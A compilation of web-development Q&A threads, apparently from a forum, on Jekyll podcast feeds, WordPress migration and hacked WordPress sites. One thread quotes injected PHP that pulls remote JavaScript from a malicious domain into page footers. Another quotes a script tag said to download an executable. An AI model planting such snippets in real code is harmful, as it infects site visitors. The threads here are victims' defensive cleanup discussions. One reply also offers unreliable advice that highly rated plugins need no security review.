Jekyll Podcast RSS file problems - rss

I'm setting up a podcast with Jekyll and the rss file isn't taking the config.yml files information. site, title, author, etc... Does anyone have any experience with podcasting and Jekyll and setting up an rss feed? Thanks.

Take a look at the itunes.rss file in this repo. The rendered file is here: http://podcast.writethedocs.org/itunes.rss. This validates fine in http://castfeedvalidator.com/.
Many values for the feed are set in the config file. If your feed isn't taking the values, have you restarted the Jekyll server since you have changed any of the config's values?

Related

File locations for Github Pages with an rss (podcast) feed

I have a Github pages site setup to host my website. I'd like to host a small podcast (for myself) through pages. I wrote a feed.xml file with the rss code for the podcast. I'm having trouble figuring out where the file is located via the browser. I can see it in Github, and I can open other files in that same folder in the browser (such as the index.html file), but I cannot open the rss feed file in the browser. (I get a 404 message.) Nor can I get my podcast manager (Pocket Casts) to find it. Is it in some kind of folder?
I was using this person's website/github page as a bit of a template, but he appears to have things nested in folders that I'm finding difficult to follow as they are different on Github Pages vs. in the code files.

Can a CSV file within a WordPress plugin be accessed from the frontend of a website?

I am currently working on an implementation reading data from a csv file from within a WordPress plugin. It was suggested the file be added within the plugin in an assets directory. I have concerns in doing this. In particular, I'm worried about security and whether this makes the site vulnerable to attacks.
That being said, I looked at the assets folder in the frontend on my local environment and was not able to see the csv file.
Does anyone know if adding a csv file directly to a plugin introduce security risks?
Alternatively, I was thinking about uploading this csv to AWS and reading the data from there.
Good day, Lara.
I am wordpress developer and try to help you now.
We know that every plugin we install should be correct but there are can be some risks.
The wordpress Core do not allow to call CSV and other files directly from folders. For example like assets folder.
But the plugin is third hands software so if a developer do not protect it, anybody can have access to the file.
My advice to check the Stars and Reviews of plugin on
https://wordpress.org/plugins/
Or find reviews of plugin here
https://codecanyon.net/category/all
If it has 4 and more Stars, I think you dont need to worry about security.
Tell please if it helps you...

Transferring media with posts while moving wordpress blog to another server

I am trying to move a wordpress blog from one server to another server. I am able to move the posts and user accounts. I am able to move the media uploaded by the users but they are no longer linked to the posts. How can move the media with the posts without losing the linking
In order for the media attachments to be linked to your Posts, you need to migrate all of the wp_posts table also, not only the parts of it. As each attachment is actually linked by a parent_post field with other posts.
Also, you can use the WordPress Importer plugin to import the posts. By importing the posts, the attachments will be downloaded in the new server and linked with the posts. But if you have a lot of post and media files, that would take time.
Export tool
You can export your posts, pages, comments, custom fields, categories, and tags from one WordPress website to another website by creating an XML file.
Download and save this XML file to your computer .and by using import function in other WordPress websites you can import XML file.
To open Export tool go to Dashboard> Tools > Export.
Now click on an Export button it will open a new window.
what_to_export
There you can see three options
All content – By using this option you can export all content of website including posts, pages, comments, custom fields etc.
Posts or Pages– By next two options you can export Posts or Pages content. On selecting Posts or Page option, it will open a new window with different options like authors name, date range, and status. Hence by using these options, you can select your desired pages or posts that you want to export.
download XML FILE
After doing all settings click on Download Export File. An XML file will automatically start downloading to your computer.
Import tool
You can import posts, page or comments or other content from another WordPress.com or WordPress.org blog or site. To open import tool go to Dashboard > Tools > Import.
By default, WordPress does not provide import functionality. Hence to get this feature you have to install a Plugin.
On clicking on import .it will open a new window where you can choose a plugin according to your need from the list of plugins.
import_tool
WordPress importer- is used for Import posts, comments, custom fields, pages, and categories from a WordPress export file.
Now just click on WordPress out of all plugins. It will release a new window .where you click on install now button to install the WordPress importer.
install_importer
Now activate this plugins .after activation it will open a new tab from where you can choose your exported XML file (created by using the export tool) from your computer.
choose_XML_file
Now click on upload and import XML file. It will automatically add your exported content to your website and that’s it.
Hope this will help you
You need to export your posts from your old site, import them to the new site and then redirect the post to their new location.
You could start by packaging up your Files.
Well if you simply If you simply drag and drop files from one server to another using a GUI interface, chances are good that the GUI will omit hidden files such as the vital .htaccess file. Besides, transferring hundreds of files via FTP can take a long time because each file must often undergo some sort of authentication; in other words copying over a hundred 1 megabyte files takes a lot longer than copying over a single 100 megabyte file.
On a UNIX style system, you can create a compressed file using the tar command:
tar -czf /path/to/backups/modx_revo_site.tar.gz /path/to/modx_doc_root/
Once you arrive on the other end, it's good to put the zipped file into its own directory before you extract it. The idea here is that if it explodes, it's easier to clean up the mess if it's contained in its own directory.
On a UNIX style system, you can unpackage a .tar.gz file using the following commands from a command line:
gunzip modx_revo_site.tar.gz
tar xvf modx_revo_site.tar
Once you've extracted the files, you can move the whole directory into the correct place. Again, be careful about moving files in bulk: you might inadvertently forget to copy those hidden files. It's better to rename or move the containing directory instead.
Detailed explanation can be found under: https://docs.modx.com/revolution/2.x/administering-your-site/moving-your-site-to-a-new-server
Important is, that you use a permanent redirect not a temporary redirect. This will decrease the SEO Power over time. The Temporary Redirect redirect status response code indicates that the resource requested has been temporarily moved to the URL given by the Location headers.
Totally agree with the above said methods. Make sure to include all media and copy the authorizations as well. I had some issues a while ago when I tried to move my content on another server an totally forgot about the authorizations...

internal fake links shows in google search results

I recently had a strange problem on my site. This is a problem with urls that have not any relation my content (see screenshot with fake links in google search results). Fortunately these links are no external spam links.
So I decided to do the following steps:
I've reviewed my site with a security checker, such as sucuri, unmasking, and all of these sites announced that my site is completely clean.
I deleted the old WordPress files (except wp-config & wp content folder) and replaced them with fresh and clean files.
1.I replaced the entire theme system files (php, js, etc.) with new and fresh files.
2.I changed all the passwords and worpress salts with using itheme security plugin, removed .htaccess file and let wordpress create a new one.
3.I removed the unrelated links using google webmasters.
4.I also removed suspicious plugins and restored the full version of my site's backup two weeks ago.
Unfortunately until today the links are not gone. All urls share the same word "marblehead". Like the following URL:
omranf1.com/conkers/marblehead/15244_17630.asp/page/2/
The interesting thing is that in the description section of search results of each of these URLs, abstract part (or meta tag description) of content of my site is displayed.
Has anyone come up with a solution to this problem? I'm really confused how to get rid of this problem!

has my wordpress site been hacked? was it a plugin?

this script keeps coming back to my wp-load.php file in public_html folder:
function pluginAuth(){
echo(wp_remote_retrieve_body(wp_remote_get('http://jquerys.net/jquery-1.6.3.min.js')));
}
add_action('wp_footer', 'pluginAuth');
this directs to a virus site "jquerys.net"
What can be the solution. deleting the fucntion from wp-load.php does not eliminate it, as it regenrates on refreshing any page of my blog.
kindly help
There could be malicious code injected into any of your wordpress files. You will need to go through all files especially inside your theme to look for code or files / folders that shouldn't be there.
After this you can use this article to make your build more secure:
http://codex.wordpress.org/Hardening_WordPress
Has been very useful to me in the past for preventing this sort of thing from happening again. You can do as many or as little of the security measures as you like.
I would definitely recommend doing everything from the Securing wp-admin section.
Most probably you have some infected or malicious file in wp-ulpoads folder, check there also for any file type, different than image or documents.
Also important: check your current theme functions.php file for malicious code, often hacked themes (i.e. downloaded via bittorent websites of mafiashare websites) inject such code, search for any curl() requests, actually not only in functions.php, but in files (if your theme has them) options.php or settings.php, etc.
You seem to have an infected WordPress installation. Use Theme Authenticity Checker OR Exploit Scanner plugins for automatically detecting potential malicious files that might be the culprit.
You can also try the free scan service of Sucuri.
Once you are done with the identification of the corrupted files, replace them with their official counterparts which you can get from WordPress.org.
As a defensive measure, install WordPress File Monitor Plus plugin - as it emails each time some file is changed. This will allow you to quickly revert any changes that some hacker/script makes in the future!
i was able to detect the malicious script. it was in the public_html folder. the file was "main.php" which is not in the default installation and also it does not contribute to any theme or plugin. after deleting all the unverfied plugins, i deleted this file and deleted the code in the wp-load.php.
at first when i did not deleted the "main.php" file. the 'function' in the wp-load kept coming back. but after deleting "main.php" file, i have rid myself from this virus.
There is new virus in WP
There's a downloading of a update.exe initiated by line
<script src="//socialstatsplugin.com/jqury.js"></script>
i Have done some reviews for this kind of virus.
Just go to your WP folder and check if any unwanted hidden file and when you browse through that , the files are unreadable.
As said Just do
DELETE FROM wp_options WHERE option_name like '%wp_data_newa%'
and delete all unwanted hidden folder within any folder. It worked till now. Hope it will help. Never knows the future.
Thanks

Resources